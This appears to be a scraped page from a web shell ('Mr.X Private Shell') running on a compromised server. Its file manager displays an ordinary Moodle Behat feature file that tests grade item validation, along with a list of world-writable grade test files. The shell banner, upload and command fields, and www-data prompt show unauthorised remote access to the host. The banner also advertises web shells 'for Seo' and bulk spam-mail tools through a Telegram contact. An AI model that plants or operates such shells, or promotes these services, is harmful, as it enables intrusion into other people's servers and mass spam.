__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core_grades @javascript
Feature: Grade item validation
  In order to ensure validation is provided to the teacher
  As a teacher
  I need to know why I can not add/edit values on the grade item form

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student | 1 | student1@example.com |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
    And the following "grade categories" exist:
      | fullname   | course |
      | Category 1 | C1     |
    And I log in as "admin"
    And I navigate to "Grades > Scales" in site administration
    And I press "Add a new scale"
    And I set the following fields to these values:
      | Name  | ABCDEF      |
      | Scale | F,E,D,C,B,A |
    And I press "Save changes"
    And I press "Add a new scale"
    And I set the following fields to these values:
      | Name  | Letter scale                              |
      | Scale | Disappointing, Good, Very good, Excellent |
    And I press "Save changes"
    And I am on the "Course 1" "grades > gradebook setup" page
    And I choose the "Add grade item" item in the "Add" action menu
    And I set the following fields to these values:
      | Item name | MI 1 |
    And I click on "Save" "button" in the "New grade item" "dialogue"

  Scenario: Being able to change the grade type, scale and maximum grade for a manual grade item when there are no grades
    Given I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    And I choose "Edit grade item" in the open action menu
    When I should not see "Some grades have already been awarded, so the grade type"
    Then I set the field "Grade type" to "Scale"
    And I click on "Save" "button" in the "Edit grade item" "dialogue"
    And I should see "Scale must be selected"
    And I set the field "Scale" to "ABCDEF"
    And I click on "Save" "button" in the "Edit grade item" "dialogue"
    And I should not see "You cannot change the type, as grades already exist for this item"
    And I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    And I choose "Edit grade item" in the open action menu
    And I should not see "Some grades have already been awarded, so the grade type"
    And I set the field "Scale" to "Letter scale"
    And I click on "Save" "button" in the "Edit grade item" "dialogue"
    And I should not see "You cannot change the scale, as grades already exist for this item"

  Scenario: Attempting to change a manual item's grade type when grades already exist
    Given I navigate to "View > Grader report" in the course gradebook
    And I turn editing mode on
    And I give the grade "20.00" to the user "Student 1" for the grade item "MI 1"
    And I press "Save changes"
    And I navigate to "Setup > Gradebook setup" in the course gradebook
    And I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    When I choose "Edit grade item" in the open action menu
    Then I should see "Some grades have already been awarded, so the grade type cannot be changed. If you wish to change the maximum grade, you must first choose whether or not to rescale existing grades."
    And "//div[contains(concat(' ', normalize-space(@class), ' '), 'felement') and contains(text(), 'Value')]" "xpath_element" should exist

  Scenario: Attempting to change a manual item's scale when grades already exist
    Given I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    And I choose "Edit grade item" in the open action menu
    And I set the field "Grade type" to "Scale"
    And I set the field "Scale" to "ABCDEF"
    And I click on "Save" "button" in the "Edit grade item" "dialogue"
    And I navigate to "View > Grader report" in the course gradebook
    And I turn editing mode on
    And I give the grade "C" to the user "Student 1" for the grade item "MI 1"
    And I press "Save changes"
    And I navigate to "Setup > Gradebook setup" in the course gradebook
    And I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    And I choose "Edit grade item" in the open action menu
    Then I should see "Some grades have already been awarded, so the grade type and scale cannot be changed."
    And "//div[contains(concat(' ', normalize-space(@class), ' '), 'felement') and contains(text(), 'ABCDEF')]" "xpath_element" should exist

  Scenario: Attempting to change a manual item's maximum grade when no rescaling option has been chosen
    Given I navigate to "View > Grader report" in the course gradebook
    And I turn editing mode on
    And I give the grade "20.00" to the user "Student 1" for the grade item "MI 1"
    And I press "Save changes"
    And I navigate to "Setup > Gradebook setup" in the course gradebook
    And I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    When I choose "Edit grade item" in the open action menu
    Then I should see "Some grades have already been awarded, so the grade type cannot be changed. If you wish to change the maximum grade, you must first choose whether or not to rescale existing grades."
    And I should see "Choose" in the "Rescale existing grades" "field"
    And the "Maximum grade" "field" should be disabled

  Scenario: As a teacher confirm that I can delete items within the gradebook
    Given I navigate to "Setup > Gradebook setup" in the course gradebook
    And the following should exist in the "setup-grades" table:
      | Name         |
      | Course       |
      | MI 1         |
      | Category 1   |
      | Course total |
    And I click on grade item menu "MI 1" of type "gradeitem" on "setup" page
    And I choose "Delete" in the open action menu
    And "Confirm" "dialogue" should exist
    When I click on "Delete" "button" in the "Confirm" "dialogue"
    And I wait to be redirected
    And the following should not exist in the "setup-grades" table:
      | Name |
      | MI 1 |
    When I click on grade item menu "Category 1" of type "category" on "setup" page
    And I choose "Delete" in the open action menu
    And "Confirm" "dialogue" should exist
    And I click on "Delete" "button" in the "Confirm" "dialogue"
    And I wait to be redirected
    And the following should not exist in the "setup-grades" table:
      | Name       |
      | Category 1 |

Filemanager

Name Type Size Permission Actions
behat_grade.php File 14.18 KB 0777
behat_grade_deprecated.php File 8.29 KB 0777
behat_grades.php File 10.46 KB 0777
grade_UI_settings.feature File 1.98 KB 0777
grade_aggregation.feature File 34.84 KB 0777
grade_aggregation_changes.feature File 34.02 KB 0777
grade_average.feature File 7.5 KB 0777
grade_calculated_grade_items.feature File 10.93 KB 0777
grade_calculated_grade_items_20150627.feature File 11.37 KB 0777
grade_calculated_weights.feature File 15.96 KB 0777
grade_category_validation.feature File 7.16 KB 0777
grade_contribution_with_extra_credit.feature File 4.31 KB 0777
grade_custom_scales.feature File 2.27 KB 0777
grade_edit_tree_bulk_actions.feature File 14.8 KB 0777
grade_export_default_method.feature File 1.03 KB 0777
grade_feedback.feature File 3.43 KB 0777
grade_grade_minmax_change.feature File 3.82 KB 0777
grade_hidden_items.feature File 4.11 KB 0777
grade_hidden_items_locked_category.feature File 4.32 KB 0777
grade_import.feature File 4.54 KB 0777
grade_item_duplication.feature File 2.35 KB 0777
grade_item_form_unhide.feature File 5.49 KB 0777
grade_item_pass_data_to_advanced_page.feature File 7.34 KB 0777
grade_item_validation.feature File 6.45 KB 0777
grade_letter_boundary.feature File 1.97 KB 0777
grade_letter_boundary_20160518.feature File 2.08 KB 0777
grade_letter_logging.feature File 1.49 KB 0777
grade_mingrade.feature File 4.98 KB 0777
grade_minmax.feature File 11.57 KB 0777
grade_natural_exclude_empty.feature File 20.3 KB 0777
grade_natural_exclude_empty_20150619.feature File 21.21 KB 0777
grade_natural_normalisation.feature File 16.04 KB 0777
grade_natural_normalisation_20150619.feature File 7.66 KB 0777
grade_override_letter.feature File 12.04 KB 0777
grade_point_maximum.feature File 4.7 KB 0777
grade_recovery_settings.feature File 2.6 KB 0777
grade_regrade_do_not_override.feature File 3.4 KB 0777
grade_scales.feature File 10.65 KB 0777
grade_scales_aggregation.feature File 6.55 KB 0777
grade_scales_logging.feature File 959 B 0777
grade_single_item_scales.feature File 8.27 KB 0777
grade_to_pass.feature File 15.99 KB 0777
grade_view.feature File 5.11 KB 0777
siteadmin_grades_outcomes_breadcrumbs.feature File 1.33 KB 0777
siteadmin_grades_scale_breadcrumbs.feature File 1016 B 0777
toggle_grade_categories.feature File 12.98 KB 0777
Filemanager